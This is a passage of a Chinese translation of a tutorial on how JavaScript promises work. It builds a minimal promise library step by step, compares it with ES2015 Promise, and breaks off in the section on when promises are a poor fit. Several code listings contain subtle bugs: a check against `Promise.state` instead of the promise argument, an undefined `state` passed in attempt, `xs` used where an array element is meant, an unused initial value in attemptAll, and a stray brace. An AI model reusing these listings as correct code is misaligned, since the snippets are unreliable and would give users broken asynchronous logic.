这个图表很好地描述了程序在Haskell编程语言中是怎样求值的,它也非常接近于表达式在更加熟知的系统中(比如Excel)的求值方法。 ### 2.2\. Promise和并发 前面一章所描述的执行模型,其执行顺序被简单定义为每个表达式间的依赖关系,这是非常强大且高效的,但我们如何应用到JavaScript中呢? 我们不能直接把这个模型应用到JavaScript,因为这门语言的内在语义是同步顺序的。但我们可以创造一种分离机制,来描述表达式之间的依赖,并且帮助我们解决这些依赖关系,然后根据这些规则执行程序。其中一种实现方法,就是通过在promise之上引入依赖的概念. 这种promises的新机制由两个主要部分构成: 一是可以作为值的表现形式(representations),并把值放入这种表示形式中;二是创建表达式(expressions)和值(values)之间的依赖关系(dependencies),创建一个新的promise,就是为了取得表达式的结果。 ![](http://robotlolita.me/files/2015/09/promises-06.png) _创建代表着未来值的表示形式。_ ![](http://robotlolita.me/files/2015/09/promises-07.png) _创建值和表达式之间的依赖关系_ 我们的promise代表着我们还没计算出来的值。这个表示形式是不透明的: 我们看不见值,也不能直接和值相互作用。此外,在JavaScript的promise中,我们也不能从表示形式中取出值。一旦你把一些东西放进一个JavaScript promise,你 **不能** 从promise里面直接取出来。(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:1) 这本身没什么用,因为我们需要能够以某种方法使用这些值。如果我们不能从表示形式中取出值,我们需要想别的办法去实现。结果解决 “取出问题”的最简单方法,是通过描述我们想怎么让程序去执行,通过明确地提供依赖关系,然后解决这个依赖关系图并执行它。 要做点这点,我们需要一种方法插进表达式中的实际值,然后延迟表达式的执行,直到它确实被需要。幸运的是,JavaScript中的first-class functions(一等函数)可以达到这个目的。 ### 插曲: 表达式的抽象 比如像 `a + 1` 这种表达式,一旦 `a` 的值计算出来,可以通过值来代入 `a` 来抽象化表达式。按这种方式,表达式: ``` var a = 2; a + 1; // { 用 `a` 的当前值替换 } // => 2 + 1 // { 简化表达 } // => 3 ``` 再变成以下的lambda抽象(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:2): ``` var abstraction = function(a) { return a + 1; }; // 然后我们给 `a` 装上值: abstraction(2); // => (a => a + 1)(2) // { 用提供的值替换 `a` } // => (2 => 2 + 1) // { 简化表达式 } // => 2 + 1 // { 简化表达式 } // => 3 ``` First-class functions是一个很强大的概念(不管是否 lambda 抽象)。因为有了这个,JavaScript可以用一个非常自然的方式去描述这些依赖关系,通过转换使用了promise值的表达式为first-class functions,我们可以在随后插入值。 ## 3\. 理解Promise的机制 ### 3.1\. Promise的顺序表达 既然我们看过了promise的概念本质,我们开始理解它们在机器中是怎么样工作的。我们将会描述创建promise用到的操作,再把值放进去,然后描述表达式和值之间的依赖。为了方便举例,我们接下来将会用到非常直观的操作,这些操作恰好没有被现存的promise实现使用: * `createPromise()` 构造出一个值的表示形式。这个值必须要在之后及时提供。 * `fulfil(promise, value)` 把值放进promise中,也允许表达式依赖值去计算。 * `depend(promise, expression)` 定义了表达式和promise的值之间的依赖。返回一个新的promise作为表达式的结果,以便新的表达式可以依赖于那个值。 让我们回到圆形和正方形的例子。目前,我们用简单点的例子开始: 通过使用promises,把同步的`squareArea`变成一个用并行描述的程序。`squareArea`之所以简单,因为它只依赖于`side`值: ``` // 表达式: var side = 10; var squareArea = side * side; print(squareArea); // 变成: var squareAreaAbstraction = function(side) { var result = createPromise(); fulfil(result, side * side); return result; }; var printAbstraction = function(squareArea) { var result = createPromise(); fulfil(result, print(squareArea)); return result; } var sidePromise = createPromise(); var squareAreaPromise = depend(sidePromise, squareAreaAbstraction); var printPromise = depend(squareAreaPromise, printAbstraction); fulfil(sidePromise, 10); ``` 这里会引起很多议论,如果我们和同步版本的代码相比较,可是这个新版本并没有和JavaScript的执行顺序相关联,在执行中的唯一约束,是我们所描述的依赖关系。 ### 3.2\. 一个最小限度的promise实现 还有一个悬而未决的问题需要回答: 我们如何运行代码,可使得实际顺序跟我们描述的依赖关系一样呢? 如果我们没有跟随JavaScript的执行顺序,别的东西必须提供我们想要的执行顺序。 幸运地,在我们所使用的函数里,这很容易被定义。首先,我们必须决定如何表示值和其依赖关系,最自然的方式是把这个数据添加到`createPromise`的返回值。 首先,_事物_的promises必须可以表示那个值,然而并不是在所有时间都必须包含一个值。当我们调用`fulfil`时,值才会被放入到promise。这个最小限度的表示形式就是: ``` data Promise of something = { value :: something | null } ``` `Promise of something`以空值`null`初始化,在某个时间点,某个人可能调用这个promise的`fulfil`函数,从那以后这个promise将包含给定的实现值 (fulfilment value)。由于promise只能fulfill一次,那个值将会在剩余的程序中一直包含着。 考虑到一个promise不能只通过`value`(因为`null`也是一个有效值)来判断是否被fulfil,我们还需要跟踪promise处于哪种状态,所以我们不会冒险多于一次去调用fulfil。这需要我们对之前的表示形式做一点小改变: ``` data Promise of something = { value :: something | null, state :: "pending" | "fulfilled" } ``` 我们还需要处理由`depend`函数创建出的依赖关系。一个依赖关系是一个函数,最终将会被promise中的值所填充,所以它是可以被评估的。一个promise可以有很多依赖其值的函数,因此这样的一个最小限度表示形式可以是: ``` data Promise of something = { value :: something | null, state :: "pending" | "fulfilled", dependencies :: [something -> Promise of something_else] } ``` 既然我们已经决定好promise的表示形式,让我们一起开始定义创建新promise的函数: ``` function createPromise() { return { // promise初始化为空值, value: null, // 待定状态的promise,所以它可以在稍后变成fulfilled, state: "pending", // 它现在还没有依赖关系。 dependencies: [] }; } ``` 既然我们决定了我们的简单表示形式,构造一个新对象来表示是相当简单的。让我们来看点更复杂的: 附加依赖到Promise中。 解决这个问题的其中一个方法,是把所有创造出的依赖放入promise的 `dependencies` 属性中,然后把promise交给解释器按需计算。用这种实现,解释器开启之前将没有依赖关系会被执行。我们不会这样去实现promise,因为这对于人们通常所写的JavaScript程序并不适合(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:3)。 另一种解决方案,来源于这个事实:我们只有当promise处于`pending`状态时,才真正需要跟踪一个promise的依赖关系,因为一旦promise被调用fulfil,我们就可以立刻执行函数了! ``` function depend(promise, expression) { // 当我们可以计算表达式的时候,我们需要返回一个包含表达式的值的promise var result = createPromise(); // 假若我们还不能执行表达式,把它放进依赖列表,作为未来的值 if (Promise.state === "pending") { Promise.dependencies.push(function(value) { // 我们关心的是表达式最后的值,所以我们可以把值放进我们的promise结果中 depend(expression(value), function(newValue) { fulfil(result, newValue); // 我们返回一个空的promise,因为`depend`函数需要一个promise return createPromise(); }) }); // 否则只需要执行表达式,我们就可以得到准备好插入的值 } else { depend(expression(promise.value), function(newValue) { fulfil(result, newValue); // 我们返回一个空的promise,因为`depend`函数需要一个promise return createPromise(); }) } return result; } ``` 当`depend`函数等待的值准备好的时候,`depend`函数负责执行我们的依赖关系计算,但如果我们太早附加依赖,那样函数会在promise对象的一个数组中结束,这样我们的工作并没有完成。对于第二部分的执行,需要在得到值的时候,运行依赖关系。幸运地,我们可以使用`fulfil`函数。 通过调用`fulfil`函数把我们的值放进promise当中,我们可以实现正处于`pending`状态的promise。这是一个好时机,来调用promise值可以用之前所创建的任何的依赖关系,并负责另外一半的执行工作。 ``` function fulfil(promise, value) { if (promise.state !== "pending") { throw new Error("Trying to fulfil an already fulfilled promise!"); } else { promise.state = "fulfilled"; promise.value = value; // 依赖关系可以添加其他的依赖到这个promise当中, // 因此我们需要清理依赖列表, // 把列表复制出来以避免我们的迭代受影响。 var dependencies = promise.dependencies; promise.dependencies = []; dependencies.forEach(function(expression) { expression(value); }); } } ``` ## 4\. Promise和错误处理 ### 插曲: 当计算失败的时候 并非所有计算都总能产生一个有效值。某些函数,比如`a / b`或`a[0]`,称作部分函数,因此只能被定义为`a`或`b`的可能取值的子集。 如果我们写的代码包含了部分函数,并碰上了一种函数不能处理的情况,我们就不能继续执行程序了。换句话说,我们的整个程序会崩溃。 一个更好的在程序中包含部分函数的方法是通过让它变得完整。也就是说,定义函数之前没被定义的部分。总之,我们要考虑让函数处理“成功”的情况,和不能处理的“失败”情况。仅这一点,就已经足以让我们写出整个程序,甚至当面临计算不能产生出一个有效值的时候,也可以继续执行: ![](http://robotlolita.me/files/2015/09/promises-08.png) _部分函数的分支_ 一个合理但不一定实用的处理方法,是在每一个可能的失败值上建立分支来处理。比如,我们组合了三个可能失败的计算,意味着我们至少要定义6个不同的分支! ![](http://robotlolita.me/files/2015/09/promises-09.png) _在每个部分函数都建分支_ > **有趣的事实!** 对一些编程语言,比如 OCaml,更喜欢这种风格的错误处理,因为这样可以很清楚每个步骤。通常来说函数式编程语言偏爱这种明确性,但在某些编程语言,比如 Haskell,使用一个称作Monad的接口(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:4)来让错误处理(比起其它处理方式)变得更为实用。 更理想的方法是,我们只需要写`y / (x / (a / b))`,然后对整个组合式只处理一次错误,而不是处理每一个子表达式的错误。编程语言对此有不同的处理方法,比如 C 和 Go,让你可以完全忽略错误,或者至少尽可能延迟碰它。比如Erlang,会让程序崩溃,但也会提供工具让你的程序恢复运行。但最通用的方法,是给可能发生错误的代码块定义一个“错误处理程序”。JavaScript允许通过`try/catch`声明,实现后一种方法,比如: ![](http://robotlolita.me/files/2015/09/promises-10.png) _一种错误处理的可行方法_ ### 4.1\. 用Promise处理错误 至今,我们的promise构想中,还没允许失败。因此,所有在promises中的计算必须产生一个有效的结果。如果我们要在promise中运行像 `a / b` 这样的计算,如果 `b` 取 0,比如 `2 / 0`,那样的话计算不能产生有效的结果。 ![](http://robotlolita.me/files/2015/09/promises-11.png) _我们的新promise的可能状态_ 我们可以很容易修改promise,来考虑失败的表达方式。当前我们的promise以`pending`状态开始,然后它只能被满足。假如我们增加一个新的状态`rejected`,然后我们就可以在promise当中模仿部分函数了。成功的计算以`pending`开始,最终以`fulfilled`状态结束。失败的计算也以`pending`开始,但状态最后会变为`rejected`。 既然现在我们有可能失败,依赖于promise的值的计算也必须要意识这一点。目前我们的`depend`失败只需在promise变成`fulfilled`或者`rejected`的时候各自运行不同的表达式。 带着这个,我们的promise表示形式变成了: ``` data Promise of (value, error) = { value :: value | error | null, state :: "pending" | "fulfilled" | "rejected", dependencies :: [{ fulfilled :: value -> Promise of new_value, rejected :: error -> Promise of new_error }] } ``` Promise可能包含一个合适的值,或者一个错误,又或者是 `null` 直到它解决(可能是`fulfilled`或者`rejected`)。要这样处理的话,我们的依赖关系也需要知道对于合适值和错误值分别怎样处理,因此稍微改变一下dependencies数组。 除了在表示形式中的改变,我们还要改一下 `depend` 函数,现在读起来就像这样: ``` // 注意我们现在需要两个表达式了,而不是一个。 function depend(promise, onSuccess, onFailure) { var result = createPromise(); if (promise.state === "pending") { // 依赖关系现在拿到一个对象,包含了promise在成功与失败情况下分别该怎么做。 // 函数和前面的大致相同。 promise.dependencies.push({ fulfilled: function(value) { depend(onSuccess(value), function(newValue) { fulfil(result, newValue); return createPromise() }, // 我们在应用表达式的时候也必须关心错误 function(newError) { reject(result, newError); return createPromise(); }); }, // 失败的分支和成功的分支做的事情是一样的,只不过是使用onFailure表达式。 rejected: function(error) { depend(onFailure(error), function(newValue) { fulfil(result, newValue); return createPromise(); }, function(newError) { reject(result, newError); return createPromise(); }); } }); } } else { // 如果promise已经成功实现,我们运行onSuccess if (promise.state === "fulfilled") { depend(onSuccess(promise.value), function(newValue) { fulfil(result, newValue); return createPromise(); }, function(newError) { reject(result, newError); return createPromise(); }); } else if (promise.state === "rejected") { depend(onFailure(promise.value), function(newValue) { fulfil(result, newValue); return createPromise(); }, function(newError) { reject(result, newError); return createPromise(); }); } } return result; } ``` 最终,我们需要一个把错误放进promise的方法。为此我们需要一个 `reject` 函数: ``` function reject(promise, error) { if (promise.state !== "pending") { throw new Error("Trying to reject a non-pending promise!"); } else { promise.state = "rejected"; promise.value = error; var dependencies = promise.dependencies; promise.dependencies = []; dependencies.forEach(function(pattern) { pattern.rejected(error); }); } } ``` 由于`dependencies`改变了,我们还要轻微改变下 `fulfil` 函数。 ``` function fulfil(promise, value) { if (promise.state !== "pending") { throw new Error("Trying to fulfil a non-pending promise!"); } else { promise.state = "fulfilled"; promise.value = value; var dependencies = promise.dependencies; promise.dependencies = []; dependencies.forEach(function(pattern) { pattern.fulfilled(value); }); } } ``` 有了这些新内容,我们已经准备好把可能失败的计算放进promise中: ``` // 可能失败的计算 var div = function(a, b) { var result = createPromise(); if (b === 0) { reject(result, new Error("Division By 0")); } else { fulfil(result, a / b); } return result; } var printFailure = function(error) { console.error(error); }; var a = 1,b = 2,c = 0,d = 3; var xPromise = div(a, b); var yPromise = depend(xPromise, function(x) { return div(x, c) }, printFailure); var zPromise = depend(yPromise, function(y) { return div(y, d) }, printFailure); ``` ### 4.2\. Promises的错误传播 上一段代码永远不会执行 `zPromise`,因为 `c` 的值是0,并导致了 `div(x,c)` 计算失败。这正是我们希望的,但是现在我们需要的是:在promise中定义的每一个计算都传递错误。理想情况下,我们喜欢只在必要情况之下定义错误分支,就像我们用 `try/catch` 处理同步的计算一样。 对我们的promise来说,支持这一功能并不重要。只需要在我们不能抽象的时候,始终定义我们的成功与失败分支,并且这通常是在控制流中的条件。比如在JavaScript中,不可能在 `if` 声明或者 `for` 声明上面抽象,因为他们是二等控制流机制了,并且你也不能修改、传递,或者保存在变量当中。我们的promise是一等的对象,有具体的失败与成功的表示形式,以便我们去审查并作出反应什么时候需要它,而不仅仅在它们被创建的时间点上。 ![](http://robotlolita.me/files/2015/09/promises-12.png) _promise可能的链式生命周期_ 为了可以得到类似于 `try/catch` 这样的结构,首先,我们必须在成功和失败的表示形式上做到这两点: * **从错误中恢复**: 如果计算失败了,我必须可以把值变成某种有意义的成功。比如说,当从 `Map` 或者 `Array` 中尝试取值时,设置默认值。如果map中不存在 `"foo"` 这个键,`map.get("foo").recover(1) + 2` 会返回3。 * **任何时候可能失败**: 如果我计算成功了,我必须可以把那个值变成失败;如果我失败了,我必须可以保持这个失败。前面的模型允许了计算短路(short-circuiting),后面这个则允许了错误传播。有了这两个,即使 `(a / b) / (c / d)` 的任何的子表达式失败了,你也可以完全去捕获它。 很幸运,`depend` 函数已经帮我们完成了大部分工作了。因为 `depend` 要求它的表达式返回_整个_ promise,使得其不仅可以传播值,也可以传播状态。这很重要,因为如果我们只定义了一个 `successful` 分支,然后promise失败了,我们就不仅要传播值,也要传播失败的状态。 带着这些适如其分的机制:支持简单的失败传播,错误处理,和失败时短路,还需要添加两个操作:`chain` 在promise的成功值上创建一个依赖关系,在失败时进行短路计算;`recover` 在promise的失败值上创建依赖关系,并允许从错误中恢复。 ``` function chain(promise, expression) { return depend(promise, expression, function(error) { // 只需要创建一个等价的promise,我们便可以传播错误状态和相应值。 var result = createPromise(); reject(result, error); return result; }) } function recover(promise, expression) { return depend(promise, function(value) { // 只需要创建一个等价的promise,我们便可以传播成功值。 var result = createPromise(); fulfil(result, value); return result; }, expression) } ``` 我们可以用这两个函数来简化我们之前的除法例子: ``` var a = 1,b = 2,c = 0,d = 3; var xPromise = div(a, b); var yPromise = chain(xPromise, function(x) { return div(x, c) }); var zPromise = chain(yPromise, function(y) { return div(y, d); }); var resultPromise = recover(zPromise, printFailure); ``` ## 5\. 组合promise ### 5.1\. 组合确定性的promise 对promise进行顺序操作时,要求我们创建一个依赖关系链,而并行组合promise只要求promise不存在相互间依赖。 在我们的圆形例子中,我们自然地进行了并行计算。`radius` 表达式和 `Math.PI` 表达式之间没有互相依赖,因此它们可以分开计算,但是 `circleArea` 依赖它们俩的值。依据这个,代码可以写成: ``` var radius = 10; var circleArea = radius * radius * Math.PI; print(circleArea); ``` 如果用promise来表达,代码如下: ``` var circleAreaAbstraction = function(radius, pi) { var result = createPromise(); fulfil(result, radius * radius * pi); return result; }; var printAbstraction = function(circleArea) { var result = createPromise(); fulfil(result, print(circleArea)); return result; }; var radiusPromise = createPromise(); var piPromise = createPromise(); var circleAreaPromise = ???; var printPromise = chain(circleAreaPromise, printAbstraction); fulfil(radiusPromise, 10); fulfil(piPromise, Math.PI); ``` 这里有个小问题: `circleAreaAbstraction` 是依赖于 **两个** 值的表达式,但是 `depend` 只能够定义表达式和单个值的依赖! 有些变通的方法可以解决这个限制,让我们从简单的开始。如果 `depend` 对一个表达式能提供单个值,那就必须能够在一个闭包中获取值,然后从promise中每次提取一个值。虽然这样确实创建出一种隐含的执行顺序,但这应该没有过分影响并发性。 ``` function wait2(promiseA, promiseB, expression) { // 我们先从 promiseA 提取值 return chain(promiseA, function(a) { // 然后从 promiseB 提取值 return chain(promiseB, function(b) { // 既然我们已经取得两个值了,我们就可以执行依赖多于一个值的表达式: var result = createPromise(); fulfil(result, expression(a, b)); return result; }) }) } ``` 有了这个,我们定义如下的 `circleAreaPromise` : ``` var circleAreaPromise = chain(wait2(radiusPromise, piPromise), circleAreaAbstraction); ``` 对于依赖三个值的表达式我们可以定义 `wait3` ,依赖四个值的表达式我们可以定义 `wait4`等。但是,`wait*` 创建出一种隐含顺序(promise以某种特定顺序执行),这样还要求我们提前知道我们需要依赖多少个值。所以,举个例子,如果我们想等待一整个promise数组的话,这种方法就不好使了。(尽管可以通过组合 `wait2` 和 `Array.prototype.reduce`来这么做) 另一种解决方案是接收一个promise数组作为参数,逐一执行,然后归还一个promise到原promise包含的值数组。这种方法有点复杂,因为我们要实现一个简单的有限状态机,但是这样没有隐含顺序(除了JavaScript自己的执行语义)。 ``` function waitAll(promises, expression) { // 用于存放promise值的数组,一旦有值会马上放进该数组。 var values = new Array(promises.length); // 记录有多少个promise还在等待着 var pending = values.length; // promise结果 var result = createPromise(); // 记录promise是否已经被解决 var resolved = false; // 我们开始执行每个promise,并跟踪原始索引值,以此来获取应该把值放进结果数组的哪个位置。 promises.forEach(function(promise, index) { // 对于每个promise,我们会等到promise解决,然后把值存入 `values` 数组 depend(promise, function(value) { if (!resolved) { values[index] = value; pending = pending - 1; // 如果我们完成了等待所有的promise,我们可以把values数组放进结果的promise中。 if (pending === 0) { resolved = true; fulfil(result, values); } } // 我们不关心这个promise的其它方面,并返回空promise,因为`depends`需要它。 return createPromise(); }, function(error) { if (!resolved) { resolved = true; reject(result, error); } return createPromise(); }) }); // 最后,我们返回一个promise,作为最终的值数组。 return result; } ``` 如果我们要把 `waitAll` 用到 `circleAreaAbstraction`,应该会像下面这样: ``` var circleAreaPromise = chain(waitAll([radiusPromise, piPromise]), function(xs) { return circleAreaAbstraction(xs[0],xs); }) ``` ### 5.2\. 组合非确定性的promise 我们已经知道怎样合并promise了,但是到现在我们只能确定性地合并它们。举个例子,比如我们想选择两个计算中最快一个的时候,这就帮不到我们了。或许我们正在两台服务器上面搜索某些东西,而且并不关心哪一台会应答我们,我们只选择最快那一个。 为了支持这样,我们先介绍一些非决定论的知识。特别是,我们需要一个操作是,给定两个promise,拿走更快那个的值与状态。这个主意背后的操作很简单:并行运行两个promise,等待第一个解决,然后把它传到promise结果中。但实现起来并不那么简单,因为我们需要保持着状态。 ``` function race(left, right) { // 创建promise结果 var result = createPromise(); // 并行等待两个promise,doFulfil 和 doReject 会传播第一个解决的promise的值/状态。 // 这通过检查 `result` 的当前状态并确认是等待中来完成。 depend(left, doFulfil,doReject); depend(right, doFulfil,doReject); // 返回promise结果 return result; function doFulfil(value) { if (result.state === "pending") { fulfil(result, value); } } function doReject(value) { if (result.state === "pending") { reject(result, value); } } } ``` 通过这种非确定的选择,我们就可以开始组合操作了。就拿上面的例子来说: ``` function searchA() { var result = createPromise(); setTimeout(function() { fulfil(result, 10); }, 300); return result; } function searchB() { var result = createPromise(); setTimeout(function() { fulfil(result, 30); }, 200); return result; } var valuePromise = race(searchA(), searchB()); // => valuePromise最终的值是30 ``` 在两个promise中作出选择已经成为了可能,因为 `race(a, b)` 基本就变成了 `a` 或 `b`,依赖于哪个解决得更快。因此,如果我们进行 `race(c,race(a, b))`,并且 `b` 先解决,然后就变得和 `race(c, b)` 一样了。当然了,输入 `race(a, race(b,race(c, ...)))` 并非最佳,因此我们可以写一个简单的组合器来完成这件事: ``` function raceAll(promises) { return promises.reduce(race, createPromise()); } ``` 然后我们可以这样使用: ``` raceAll([searchA(), searchB(), waitAll([searchA(), searchB()])]); ``` 另一种在两个promise中作出非确定性选择的方法,是等待第一个_成功满足_的promise。举个例子,如果你正试图从一个镜像源列表里面找出一个可用的下载链接,你可不想因为第一个链接不能下载而失败了,你想要的是从第一个能下载的镜像进行下载,如果全都不能下才算失败。我们可以写一个`attempt`操作来这么做: ``` function attempt(left, right) { // 创建promise结果 var result = createPromise(); // doFulfil会传第一个成功解决的值与状态。 // 反之,doReject会合计错误,直到所有的promise失败 // // 我们需要跟踪发生的错误 var errors = {} // 现在我们可以等待两个promise,就像在`race`中那样。 // 不同的是,在这里`doReject`需要知道拒绝哪一个promise,并保持跟踪错误。 depend(left, doFulfil,doReject('left')); depend(right, doFulfil,doReject('right')); // 最后,把promise结果作为返回值。 return result; function doFulfil(value) { if (result.state === "pending") { fulfil(result, state); } } function doReject(field) { return function(value) { if (result.state === "pending") { // 如果我们还在等待中,我们可以安全地一直收集错误。 // 我们确保得到的错误能进入对象中正确收集这些错误的地方 errors[field] = value; // 如果我们设法收集了所有的错误,我们可以拒绝promise结果。 // 我们在所有错误都发生时,以正确顺序拒绝它。 if ('left' in errors && 'right' in errors) { reject(result, [errors.left, errors.right]); } } } } } ``` 和 `race` 用法一样,`attempt(searchA(), searchB())` 会返回第一个_成功_解决的promise,而不仅是第一个解决的promise。可是,和 `race` 不一样,`attempt` 不会自然构成,因为它会聚集错误。因此,如果我们想尝试几个promise时,我们需要解释下: ``` function attemptAll(promises) { // 由于我们聚集了所有的promise,我们需要从被拒绝的一个promise开始, // 否则,如果存在错误,我们的尝试将一直不能完成。 var initial = createPromise(); reject(initial, []); // 最后,我们用 `attempt` 来把promise组合起来,注意每一步都要平铺错误数组: return promises.reduce(function(result, promise) { return recover(attempt(result, promise), function(errors) { return errors[0].concat([errors]); }); }, createPromise()); } attemptAll([searchA(), searchB(), searchC(), searchD()]); ``` ## 6\. 对Promise的一种实际理解 [ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/) 定义了JavaScript中promise的概念,但直到现在,我们使用的还是一个非常简单却非常规的promise实现。其原因是ECMAScript的promise标准过于复杂,要彻底解释这个概念更加艰难。但是,既然你现在知道promise是什么了,和其中的每个方面是怎样实现的,要迁移到理解标准promise也就很简单了。 ### 6.1\. 介绍ECMAScript Promise 新版本ECMAScript语言中,定义了一种JavaScript中的promise标准 [standard for promises](http://www.ecma-international.org/ecma-262/6.0/#sec-promise-constructor)。这个标准和最小限度promise实现有所不同,我们将从几个方面进行介绍,这使得它更复杂,但也更加实际和易于使用。下面的表格列出了每一个实现的不同之处。
      我们的 Promises ES2015 Promises
      p = createPromise() p = new Promise(...)
      fulfil(p, x) p = new Promise((fulfil, reject) => fulfil(x))
      p = Promise.resolve(x)
      reject(p, x) p = new Promise((fulfil, reject) => reject(x))
      p = Promise.reject(x)
      depend(p, f, g) p.then(f, g)
      chain(p, f) p.then(f)
      recover(p, g) p.catch(g)
      waitAll(ps) Promise.all(ps)
      raceAll(ps) Promise.race(ps)
      attemptAll(ps) (None)
      在标准promise中,主要的方法是 `new Promise(...)` 引入一个promise对象,然后用 `.then(...)` 变换。通过以上对比,所描述的操作,它们的工作方式也有些不一样的地方。 `new Promise(f)` 构造一个新的promise对象,它通过计算,最终带着某个特定值将状态变为成功或失败。成功或失败的行为,按照预期传递到函数 `f`, `f` 是带有两个参数的函数对象。第一个参数用在处理执行成功的场景,第二个参数则用在处理执行失败的场景,因此: ``` var p = createPromise(); fulfil(p, 10); // 变为: var p = new Promise((fulfil, reject) => fulfil(10)); // --- // 并且: var q = createPromise(); reject(q, 20); // 变为: var p = new Promise((fulfil, reject) => reject(20)); ``` `Promise.then(f, g)` 是一个操作,它在一个有空洞的表达式和一个值之间创建依赖关系,类似于 `depend` 操作。`f` 和 `g` 都是可选参数,如果它们都没被提供,promise会把值在那个状态中传播。 不像我们的 `depend`,`.then` 是一个复杂的操作,它试图让promise的使用变得更简单。传给 `.then` 的函数参数可以是一个promise,也可以是一个常规的值,在这种情况下, `.then` 操作会自动帮你把值放入到promise当中。因此: ``` depend(promise, function(value) { var q = createPromise(); fulfil(q, value + 1); return q; }) // --- // 变为: Promise.then(value => value + 1); ``` 对比我们之前的构想,这样使得promise的代码变得简洁和更方便阅读。 ``` var squareAreaAbstraction = function(side) { var result = createPromise(); fulfil(result, side * side); return result; }; var printAbstraction = function(squareArea) { var result = createPromise(); fulfil(result, print(squareArea)); return result; } var sidePromise = createPromise(); var squareAreaPromise = depend(sidePromise, squareAreaAbstraction); var printPromise = depend(squareAreaPromise, printAbstraction); fulfil(sidePromise, 10); // --- // 变为: var sideP = Promise.resolve(10); var squareAreaP = sideP.then(side => side * side); squareAreaP.then(area => print(area)); // 这更加类似于同步的版本: var side = 10; var squareArea = side * side; print(squareArea); ``` 类似于我们的 `waitAll` 操作,并行依赖多个值可以通过 `Promise.all` 操作来处理: ``` var radius = 10; var pi = Math.PI; var circleArea = radius * radius * pi; print(circleArea); // --- // 变为: var radiusP = Promise.resolve(10); var piP = Promise.resolve(Math.PI); var circleAreaP = Promise.all([radiusP, piP]) .then(([radius, pi]) => radius * radius * pi); circleAreaP.then(circleArea => print(circleArea)); ``` 失败和成功的传播通过 `.then` 操作自身来处理,另外还提供了`.catch` 操作,作为一种简洁的、无需定义成功分支的 `.then` 调用。 ``` var div = function(a, b) { var result = createPromise(); if (b === 0) { reject(result, new Error("Division By 0")); } else { fulfil(result, a / b); } return result; } var a = 1,b = 2,c = 0,d = 3; var xPromise = div(a, b); var yPromise = chain(xPromise, function(x) { return div(x, c) }); var zPromise = chain(yPromise, function(y) { return div(y, d); }); var resultPromise = recover(zPromise, printFailure); // --- // 变为: var div = function(a, b) { return new Promise((fulfil, reject) => { if (b === 0) reject(new Error("Division by 0")); else fulfil(a / b); }) } var a = 1,b = 2,c = 0,d = 3; var xP = div(a, b); var yP = xP.then(x => div(x,c)); var zP = yP.then(y => div(y,d)); var resultP = zP.catch(printFailure); ``` ### 6.2\. 深入探究 `.then` `.then` 方法和我们之前的 `depend` 函数相比,有几个不同之处。`.then` 是一个用来定义最终值和某些计算的依赖关系的方法,它也尝试让大部分情况下promise的使用变得更加容易。这使得 `.then` 成为了一个复杂的方法(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:5),但我们可以通过联系我们之前的机制,去理解这个新方法。 #### `.then` 自动适应常规值 我们的 `depend` 函数只适用于接受promise作为参数。它期待于计算依赖关系返回一个promise,目的是为了它自身的promise返回值。`.then` 却没有这个要求。如果依赖关系返回的是一个像 `42` 这样的常规值,`.then`会把值转换成一个包含该值的promise。本质上说,`.then` 会按需把常规值转换为promise。 把简化类型和我们的 `depend` 函数相比较: depend : (Promise of α, (α -> Promise of β)) -> Promise of β 把简化类型和 `.then` 方法相比较: Promise.then : (this: Promise of α, (α -> β)) -> Promise of β Promise.then : (this: Promise of α, (α -> Promise of β)) -> Promise of β 在 `depend` 函数里,我们唯一能做的,就是返回一个包含某些内容的promise(并且在promise结果中包含同样的东西),`.then` 函数出于方便,也接受返回一个常规值,而不需要把值包装在promise当中。 #### `.then` 不允许嵌套 promise 为了方便通常的使用情况,ECMAScript 2015 promises的另一种方法是禁止嵌套promise。通过同化带有 `.then` 方法的任何东西,会使得你在不期待同化的情景之下出问题(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:6),但另一方面也使大家摆脱了思考匹配返回值类型的痛苦。 受这一功能影响,不可能在非依赖类型系统中给 `.then` 方法一个明智的类型,但大概这意味着如下的例子: ``` Promise.resolve(1).then(x => Promise.resolve(Promise.resolve(x + 1))) ``` 等价于: ``` Promise.resolve(1).then(x => Promise.resolve(x + 1)) ``` 这里执行 `Promise.resolve` ,而不是 `Promise.reject`。 #### `.then` 使异常具体化 如果一个异常同步地发生在 `.then` 方法计算依赖关系的过程中,那么异常会被捕捉到,并具体化为一个被拒绝的Promise。本质上,这意味着所有的在 `.then` 中的附加在promise的值之上的计算,都好像被包裹在 `try/catch` 代码块之中,如此: ``` Promise.resolve(1).then(x => null()); ``` 等价于: ``` Promise.resolve(1).then(x => { try { return null(); } catch (error) { return Promise.reject(error); } }); ``` Promise的原生实现会追踪这些,并汇报没被处理的内容。由于没有详述promise中的一个“捕获的错误”是由什么构成,所以不同的开发工具汇报的内容有所不同。例如,Chrome开发者工具会输出所有被拒绝的实例到控制台,这可能会给你造成困扰。 #### `.then` 异步调用依赖关系 我们之前的promise实现是同步调用依赖关系计算的,标准ECMAScript promise做这个事情是异步的。如果不是用合理手段(`.then`方法)的话,我们将很难依赖一个promise的值。 因此,下面的代码将不会起作用: ``` var value; Promise.resolve(1).then(x => value = x); console.log(value); // => undefined // (`value = x` 到这里才发生,在所有其它代码运行以后) ``` 这保证了依赖关系运算总是执行在一个空栈上,尽管这种保证在 ECMAScript 2015 中并不是那么重要,因为其要求所有的实现都支持适当的尾部调用(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:7)。 ## 7\. 什么时候不适合用promise? 虽然promise作为原生并发可以很好地工作,但promise既不像Continuation-Passing Style那样普遍,也不是所有用例的最佳解决方案。Promise是值的占位符,最终会被计算出来,因此它只能在上下文当中有意义,因为你可以使用那些值自身。 ![](http://robotlolita.me/files/2015/09/promises-13.png) _Promises只在**值**的上下文中起作用_ 试着在想要的结果之外使用promise,包括在一些非常复杂的代码库,理解,并且扩展。以下是一些应该完全避免使用promise的例子: * **通知计算某个特定值的结果**。 Promise被用在和值本身一样的上下文中,所以就像我们不能知道计算某个特定的字符串的进度一样,给定字符串本身,我们不能用promise来做这个。因为这个,如果你有兴趣知道一个文件的下载进度,你会想要一个分离的东西,比如说事件。 * **一段时间内需要产生多个值**。 Promises只能代表单个最终值。对于一段时间内要产生多个值的情况 